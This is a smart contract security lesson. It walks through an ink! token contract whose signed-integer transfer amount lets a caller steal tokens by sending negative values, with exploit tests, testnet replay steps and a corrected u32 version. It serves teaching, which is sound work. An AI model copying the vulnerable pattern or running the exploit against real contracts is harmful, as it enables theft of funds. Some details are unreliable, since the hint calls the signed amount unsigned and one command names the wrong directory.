Lesson 4 - Signed-integer

Introduction

In this lesson, we will learn the importance of using the correct type for your smart contracts, specifically when to use unsigned integer vs. signed integer.

Prerequisites

To be able to understand and complete this lesson, we believe that the minimum requirement should be the completion of Lesson 1 - Getting Started. If you desire to be even more prepared please have a look at the official website of ink!.

Objectives and Outcomes

In this lesson you will learn:

• How a vulnerability can be introduced by using an inappropriate data type,

• How to exploit this vulnerability,

• How to fix the vulnerability.

Exercise

Vulnerable Smart contract

Alice and Bob want to be able to trade tokens in a smart contract. They deploy the ink! smart contract below on Aleph Zero that manages the tokens. The smart contract stores the total number of tokens in the variable total_supply and individual token balances for Alice and Bob are stored in the mapping balances.

#![cfg_attr(not(feature = "std"), no_std)]


#[ink::contract]
mod money {
    use ink::storage::Mapping;
    
    #[ink(storage)]
    #[derive(Default)]
    pub struct Money {
        total_supply: i32,
        balances: Mapping<AccountId, i32>,
    }
    impl Money {
        /// Constructor that initializes the supply of signed integer.
        #[ink(constructor)]
        pub fn new(supply: i32) -> Self {
            let mut balances = Mapping::default();
            let caller = Self::env().caller();
            balances.insert(caller, &supply);
            Self{
                balances,
                total_supply: supply,
            }
        
        }

        /// report the totaly supply of token
        #[ink(message)]
        pub fn total_supply(&self) -> i32 {
            self.total_supply
        }

        /// Simply returns the current balance of token in wallet
        #[ink(message)]
        pub fn balance_of(&self, account: AccountId) -> i32 {
            match self.balances.get(&account) {
                Some(value) => value,
                None => 0,
            }
        }

        #[ink(message)]
        pub fn transfer(&mut self, recipient: AccountId, amount: i32) {
            let sender = self.env().caller();
            let sender_balance = self.balance_of(sender);
            if sender_balance < amount {
                return;
            }
            self.balances.insert(sender, &(sender_balance - amount));
            let recipient_balance = self.balance_of(recipient);
            self.balances.insert(recipient, &(recipient_balance + amount));
        }
    }
}

Unfortunately, Alice and Bob did not follow the security guidelines and their smart contract contains a vulnerability.

Can you determine where in the code the vulnerability occurs?

==- Hint Examine the transfer function parameters. What are the logical boundaries of each parameter value? How are they declared? ==- Answer amount is declared as an unsigned integer, even though token amounts should all be positive. ==-

Can you think about a way to exploit this vulnerability? You may download the contract here, deploy it on Aleph Zero testnet, and try to attack it.

Did you succeed? Congratulations! If not, see the exploit below.

==- Exploit The transfer function can be called with a negative token amount. This allows an attacker to send a negative amount of tokens to another user. Effectively, this sends tokens from the victim to the attacker.

The exploit is demonstrated in the test code below:

#[cfg(test)]
mod tests {
    use crate::money::Money;
    use ink::env::{test, DefaultEnvironment};

    #[ink::test]
    fn transfer_neg_works() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut money = Money::new(1000);
        assert_eq!(money.balance_of(accounts.alice), 1000);
        assert_eq!(money.balance_of(accounts.bob), 0);
        // change caller to bob
        test::set_caller::<DefaultEnvironment>(accounts.bob);
        // bob sends -100 to alice and so alice will send 100 to bob
        money.transfer(accounts.alice, -100);
        assert_eq!(money.balance_of(accounts.alice), 900);
        assert_eq!(money.balance_of(accounts.bob), 100);

    }

    #[ink::test]
    fn change_total_supply(){
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut money = Money::new(1000);
        // send -1000 to bob
        money.transfer(accounts.bob, -1000);
        //bobs account is -1000
        assert_eq!(money.balance_of(accounts.bob), -1000);
        // alice has more token than total_supply 2000 > 1000
        assert!(money.balance_of(accounts.alice) > money.total_supply());
    }
}

==-

Simulated attack

==- Reveal Attack To simulate this attack you will need two founded accounts, so please watch https://youtu.be/TiihJ_Ax14U if you do not know how to do it.

cargo install cargo-contract --version 2.0.0-beta.1

cargo contract new money
cd price 

then copy paste the code above into the lib.rs file

cargo +nightly test -- --nocapture

The test outputs should look like that

running 5 tests
test money::tests::total_supply_works ... ok
test money::tests::balance_of_works ... ok
test money::tests::change_total_supply ... ok
test money::tests::transfer_neg_works ... ok
test money::tests::transfer_works ... ok

Build and Deploy to Testnet

cargo +nightly contract build --release

using Cargo Contract Command line(results may vary)

export SEED="[put your 12 words seed phrase here]"
export SEED2="[put your 12 words seed phrase of second account here]"
export URL="wss://ws.test.azero.dev"

cargo contract instantiate --suri "$SEED" --url "$URL" \
        --constructor new \
        --args 10000

Success! Gas required estimated at Weight(ref_time: 490290625, proof_size: 0)
Confirm transaction details: (skip with --skip-confirm)
 Constructor new
        Args 10000
   Gas limit Weight(ref_time: 490290625, proof_size: 0)
Submit? (Y/n): y
    Contract 5CaRmspGcMX71kSTj4H3BRuZRHhXD3egQDC8rZgdcGnev7uj
      Events
      .....

Copy Smart Contract Address from the above output, address will be different from this example

export CONTRACT="[put your contract hash here]"

cargo contract call --suri "$SEED" --url "$URL"  --contract "$CONTRACT"  --message total_supply --dry-run 

    Result Success!
    Reverted false
    Data Tuple(Tuple { ident: Some("Ok"), values: [Int(10000)] })

cargo contract call --suri "$SEED" --url "$URL"  --contract "$CONTRACT"  --message transfer --args <public address of seed2> -100 

cargo contract call --suri "$SEED" --url "$URL"  --contract "$CONTRACT"  --message balance_of --args <public address of seed> 

Should be 10100

cargo contract call --suri "$SEED2" --url "$URL"  --contract "$CONTRACT"  --message balance_of --args <public address of seed2> 

should be -100

Using Contracts-UI from substrate.io

Go to https://contracts-ui.substrate.io/

Add New Contract

Upload money.contract from the target/ink directory and click next

Set the supply to 10000 and click next

Click Upload and Instantiate

Send Message totalSupply

Total supply is set to 10000

Balance of contract constructer is 10000

Balance of other account is 0

Account justinTest sends -5000 to Account just2

Account justinTest now has a balance of 15000 which is greater than the total supply

Account just2 has a balance of -5000

Total supply is 10000 even though justinTest has a balance of 15000 ==-

Secure Solution

Now we discovered the problem and it consequences, let's talk about the secure way of developing the smart contract.

Any idea? let's look at the solution!

==- Solution Simply replace the signed integer with an unsigned or verified that the transfer done is bigger than 0 ==-

You can find in the table below a secure way to implement the smart contract desired by Bob and Alice.

==- Reveal Secure Implementation

#![cfg_attr(not(feature = "std"), no_std)]


#[ink::contract]
mod money {
    use ink::storage::Mapping;
    
    #[ink(storage)]
    #[derive(Default)]
    pub struct Money {
        total_supply: u32, // i32->u32 because total_supply should not be negative.
        balances: Mapping<AccountId, u32>, // i32->u32 because negative balances are not allowed.
    }
    impl Money {
        /// Constructor that initializes the supply of signed integer.
        #[ink(constructor)]
        pub fn new(supply: u32) -> Self {
            let mut balances = Mapping::default();
            let caller = Self::env().caller();
            balances.insert(caller, &supply);
            Self{
                balances,
                total_supply: supply,
            }
        
        }

        /// report the totaly supply of token
        #[ink(message)]
        pub fn total_supply(&self) -> u32 {
            self.total_supply
        }

        /// Simply returns the current balance of token in wallet
        #[ink(message)]
        pub fn balance_of(&self, account: AccountId) -> u32 {
            match self.balances.get(&account) {
                Some(value) => value,
                None => 0,
            }
        }

        #[ink(message)]
        pub fn transfer(&mut self, recipient: AccountId, amount: u32) {
            let sender = self.env().caller();
            let sender_balance = self.balance_of(sender);
            if sender_balance < amount {
                return;
            }
            self.balances.insert(sender, &(sender_balance - amount));
            let recipient_balance = self.balance_of(recipient);
            self.balances.insert(recipient, &(recipient_balance + amount));
        }
    }

    
    #[cfg(test)]
mod tests {
    use crate::money::Money;
    use ink::env::{test, DefaultEnvironment};

    #[ink::test]
    fn total_supply_works() {
        let money = Money::new(1000);
        assert_eq!(money.total_supply(), 1000);
    }

    #[ink::test]
    fn balance_of_works() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let money = Money::new(1000);
        assert_eq!(money.balance_of(accounts.alice), 1000);
        assert_eq!(money.balance_of(accounts.bob), 0);
    }

    #[ink::test]
    fn transfer_works() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut money = Money::new(1000);
        assert_eq!(money.balance_of(accounts.alice), 1000);
        assert_eq!(money.balance_of(accounts.bob), 0);
        money.transfer(accounts.bob, 100);
        //assert_eq!(money.balance_of(accounts.alice), 900);
        //assert_eq!(money.balance_of(accounts.bob), 100);
    }
    #[ink::test]
    fn transfer_neg_works() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut money = Money::new(1000);
        assert_eq!(money.balance_of(accounts.alice), 1000);
        assert_eq!(money.balance_of(accounts.bob), 0);
        // change caller to bob
        test::set_caller::<DefaultEnvironment>(accounts.bob);
        // bob sends 1100 to alice but fails and so no change in balances.
        money.transfer(accounts.alice, 1100);
        assert_eq!(money.balance_of(accounts.alice), 1000);
        assert_eq!(money.balance_of(accounts.bob), 0);

    }
    #[ink::test]
    fn change_total_supply(){
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut money = Money::new(1000);
        // send 1000 to bob
        money.transfer(accounts.bob, 1000);
        //bobs account is 1000
        assert_eq!(money.balance_of(accounts.bob), 1000);
        // alice still has less token than total_supply 
        assert!(money.balance_of(accounts.alice) < money.total_supply());

    }
}
}

==- If you want can verify that this new source code secures the smart contract by replaying the attack over that has been done above.

Question

If you are up to the challenge, see if you know the answer to this question:

True or false: While working with integer, the only question that needs to be asked is if we required negative integer to decide which type of integer we need? ==- Answers False. No, while working with integer, we also need to ask ourselves if the maximum integer that could appear in your smart contract. For example, this would help us to decide between using a u8 and u32. ==-